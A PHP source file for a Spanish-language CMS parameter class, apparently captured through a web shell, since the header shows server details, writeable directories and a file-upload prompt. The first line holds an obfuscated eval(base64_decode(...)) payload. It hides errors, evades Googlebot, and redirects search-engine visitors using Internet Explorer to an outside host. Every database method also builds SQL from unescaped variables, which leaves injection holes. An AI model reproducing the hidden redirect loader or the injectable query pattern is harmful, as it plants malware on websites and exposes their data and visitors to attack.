KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/parametro_old.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));

class Parametro extends Componente{

/*constructor*/
function Parametro(){
	$this->Componente();	
}

function getNumSub(){
	$sql = "SELECT valor FROM parametro WHERE nombre='num_subcategoria'";
	if($this->execute($sql)){
		list($id)=$this->fetchRow();
		return $id;
	}elseif ($this->isDebuggerEnabled()) {
		$msg = "Error ".$this->getException();
		return $msg;
	}
}


/*
*funcion getParametros()
*descripcion devuelve los parametros de una aplicacion
*/
function getParametros($aplica,$nApli){
	$sql="select nombre, valor from parametro where aplicacion ='$aplica'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$sal=array();
			while(list($nom,$val)=$this->fetchRow()){
				$sel[$nom]=$val;
			}
			$out=$this->getMensaje("[077]","confirmacion");
			$this->setSalida(true,$out,"getParametros($aplica)",$nApli);
			return $sel;
		}else{
			$out=$this->getMensaje("[078]","confirmacion");
			$this->setSalida(false,$out,"getParametros($aplica)",$nApli);
			return "none";//se debe preguntar si es o no la salida esperada dode se utilize el m�todo
		}
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"getParametros($aplica)",$nApli);
			return false;
	}
}

/*
funcion addParametro
descripcion inserta un nuevo parametro en la BD para la aplicacion
pre: la aplicacion existe
*/
function addParametro($nombre,$valor,$descripcion,$tipo,$tipo_u,$aplicacion,$nApli){
	$sql="insert into parametro (nombre,valor,descripcion,tipo,tipo_usuario,aplicacion) values ('$nombre','$valor','$descripcion','$tipo','$tipo_u','$aplicacion')";
	if($this->execute($sql)){
			$out=$this->getMensaje("[079]","confirmacion")." ".$nombre;
			$this->setSalida(true,$out,"($nombre,$valor,$aplicacion)",$nApli);
			return true;
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"addParametro($nombre,$valor,$aplicacion)",$nApli);
			return false;
	}
}

/*
*funcion modParametro
*descripcion modifica el valor de un parametro
*			 porREf = campo que se buscara [id,nombre]
*			 valRef = valor del campo de busqueda
*			 valor = valor al que actualizara el campo de busqueda
*			 ej: modParametro(nombre, numero_admin , 78, 9999, panel)
*			 buscara el campo numero_admin para la aplicacion con id 9999 y le asignara 78
*pre: 		 el parametro existe
*nota: aunque la aplicacion no es necesaria cuando se hace por id se conserva por integridad
*/
function modParametro($porRef, $valRef, $valor, $aplicacion, $nApli){

	$sql="update parametro set valor='$valor' where aplicacion='$aplicacion' and $porRef='$valRef'";
	
	if($this->execute($sql)){
			$out=$this->getMensaje("[080]","confirmacion")." ".$valRef;
			$this->setSalida(true,$out,"modParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
			return true;
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"modParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
			return false;
	}

}
/*
*funcion modParametroF()
*descripcion modifica un parametro en todos sus campos
*			 modificables
*/
function modParametroF($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli){

	$sql="update parametro set valor='$valor', nombre='$nombre', descripcion='$descripcion', tipo='$tipo', tipo_usuario='$tipoUser' where aplicacion='$aplicacion' and id='$id'";
	
	if($this->execute($sql)){
			$out=$this->getMensaje("[080]","confirmacion")." ".$descripcion;
			$this->setSalida(true,$out,"($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli)",$nApli);
			return true;
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli)",$nApli);
			return false;
	}

}



/*
*funcion delParametro
*descripcion elimina uno o todos los parametros de una plaicacion
*			 porREf = campo que se buscara [id,nombre]
*			 valRef = valor del campo de busqueda
*pre: 		 el parametro existe
*nota: aunque la aplicacion no es necesaria cuando se hace por id se conserva por integridad
*/
function delParametro($porRef = false, $valRef = false, $aplicacion, $nApli){
	
	if(empty($porRef)){
		$sql = "delete from parametro where aplicacion='$aplicacion'";
	}else{
		$sql = "delete from parametro where aplicacion='$aplicacion' and $porRef='$valRef'";
	}
	
	if($this->execute($sql)){
			$out=$this->getMensaje("[081]","confirmacion")." ".$nombre;
			$this->setSalida(true,$out,"delParametro($porRef, $valRel, $aplicacion, $nApli)",$nApli);
			return true;
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"delParametro($porRef, $valRel, $aplicacion, $nApli)",$nApli);
			return false;
	}

}

/*
*funcion getParametro
*descripcion trae el valor del parametro solicitado
*pre: 		 el parametro existe
*/
function getParametro($porRef, $valRef, $aplicacion, $nApli){
	$sql="select valor from parametro where aplicacion='$aplicacion' and $porRef='$valRef'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$out=$this->getMensaje("[077]","confirmacion");
			$this->setSalida(true,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
			list($val)=$this->fetchRow();
			return $val;
		}else{
			$out=$this->getMensaje("[081]","confirmacion");
			$this->setSalida(false,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
			return "[-]";
		}
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
			return false;
	}
	
}

/*
*funcion setParametro
*descripcion asigna un valor al parametro solicitado
*pre: 		 el parametro existe
*/
function setParametro($porRef, $valRef, $valor, $aplicacion, $nApli){
	$sql="update parametro set valor='$valor' where aplicacion='$aplicacion' and $porRef='$valRef'";
	if($this->execute($sql)){
		$out=$this->getMensaje("[080]","confirmacion");
		$this->setSalida(true,$out,"setParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
		list($val)=$this->fetchRow();
		return true;
	}else{ 
		$out=$this->getMensaje("[025]","error");
		$out.=trim($this->getException());
		$this->setSalida(false,$out,"setParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
		return false;
	}
	
}

/*
*funcion showlistParametros()
*descripcion despliega los parametros de la aplicacion
*			 de la aplicacion solitada, ya sea para 
*			 consulta o modificaci�n.
*			 accion:[consulta,modificacion]
*			 aplicacion:id de la aplicaci�n
*			 tipo:[1,2,3]
*/

function showlistParametros($aplica,$tipo_u,$accion,$nApli){
	if($tipo_u==1){
		$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica'";
	}
	if($tipo_u==2){
		$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica' and tipo_usuario!='1'";
	}
	if($tipo_u==3){
		$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica' and tipo_usuario='$tipo_u'";
	}
	if($this->execute($sql)){
		if($this->numRows()>0){
			$sal=array();
			echo "<table width=\"100%\">";
			$i=0;
			while(list($nom,$val,$desc,$tipo,$tipo_user,$id)=$this->fetchRow()){
				$pi=$i+1;
				if($accion=="consulta"){
					echo '<tr class="texto1">';
					echo"<td>".ucfirst($desc)."</td>";
					echo"<td><strong>$val</strong></td>";
					echo "</tr>";
				}
				if($accion=="modificacion" && $tipo_u!=1){
					echo '<tr class="texto1">';
					$nom =trim($nom);
					echo"<td>$desc</td>";
					echo"<td align=\"left\"><input type=\"hidden\" name=\"id_$i\" value=\"$id\"><input type=\"hidden\" name=\"nombre_$i\" value=\"$nom\"><input  class=\"listado\" type=\"text\" name=\"valor_$i\" value=\"$val\" style=\"width:200; text-align:center \" maxlength=\"50\">*<input type=\"hidden\" name=\"tipo_$i\" value=\"$tipo\"><input type=\"hidden\" name=\"old_$i\" value=\"$val\"><input type=\"hidden\" name=\"descripcion_$i\" value=\"$desc\"></td>";
					echo "</tr>";
				}
				if($accion=="modificacion" && $tipo_u==1){
					$nom =trim($nom);
					$sel_t="";$sel_n="";
					if($tipo=="texto"){$sel_t="checked";}elseif($tipo=="numero"){$sel_n="checked";}
					echo '<tr class="texto1">';
					echo"<td width=\"30\">&nbsp;<input type=\"hidden\" name=\"id_$i\" value=\"$id\"></td><td>Tipo</td><td>Texto<input name=\"texto_$i\" type=\"radio\" onclick=\"javascript: tipear('texto','$i')\" $sel_t>&nbsp;&nbsp;
                          N&uacute;mero<input name=\"texto_$i\" type=\"radio\" onclick=\"javascript: tipear('numero','$i')\" $sel_n></td>";
					echo "</tr>";
					echo "<tr class=\"texto1\">";
					echo"<td>&nbsp;</td><td>Nombre</td><td><input class=\"listado\" type=\"text\" name=\"nombre_$i\" value=\"$nom\" style=\"width:200; text-align:center \" maxlength=\"20\">*</td>";
					echo "</tr>";

					echo "<tr class=\"texto1\">";
					echo"<td>&nbsp;</td><td>Valor</td><td><input class=\"listado\" type=\"text\" name=\"valor_$i\" value=\"$val\" style=\"width:200; text-align:center \" maxlength=\"50\">*<input type=\"hidden\" value=\"$tipo\" name=\"tipo_$i\"></td>";
					echo "</tr>";
					
					echo "<tr class=\"texto1\">";
					echo"<td>&nbsp;</td><td>Descripci&oacute;n</td><td><input class=\"listado\" type=\"text\" name=\"descripcion_$i\" value=\"$desc\" style=\"width:200; text-align:center \" maxlength=\"60\">*</td>";
					echo "</tr>";

					echo "<tr class=\"texto1\">";
					$sel_1="";$sel_2="";$sel_3="";
					if($tipo_user==1){$sel_1="selected";}elseif($tipo_user==2){$sel_2="selected";}elseif($tipo_user==3){$sel_3="selected";}
					echo"<td>&nbsp;</td><td>Tipo Usuario</td><td><select class=\"listado\" name=\"tipo_usuario_$i\">
                            <option value=\"1\" $sel_1>Azul Digital</option>
                            <option value=\"2\" $sel_2>Administrador</option>
                            <option value=\"3\" $sel_3>Usuario de Manejo</option>
                          </select></td>";
					echo "</tr>";
					echo "<tr class=\"texto1\"><td colspan=\"3\"><div align=\"right\"><strong>Par&aacute;metro ($pi)</strong></div><hr width=\"100%\"></td></tr>";
				}
				
				$i++;
			}
			echo "</table>";			
			$out=$this->getMensaje("[077]","confirmacion");
			$this->setSalida(true,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
			return $i;
		}else{
			$out=$this->getMensaje("[095]","confirmacion");
			$this->setSalida(false,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
			echo "<table><tr><td align=\"center\">$out</td></tr></table>";
		}
	}else{ 
			$out=$this->getMensaje("[025]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
			echo "<table><tr><td>$out</td></tr></table>";
	}
}


}//end class
?>

Anon7 - 2021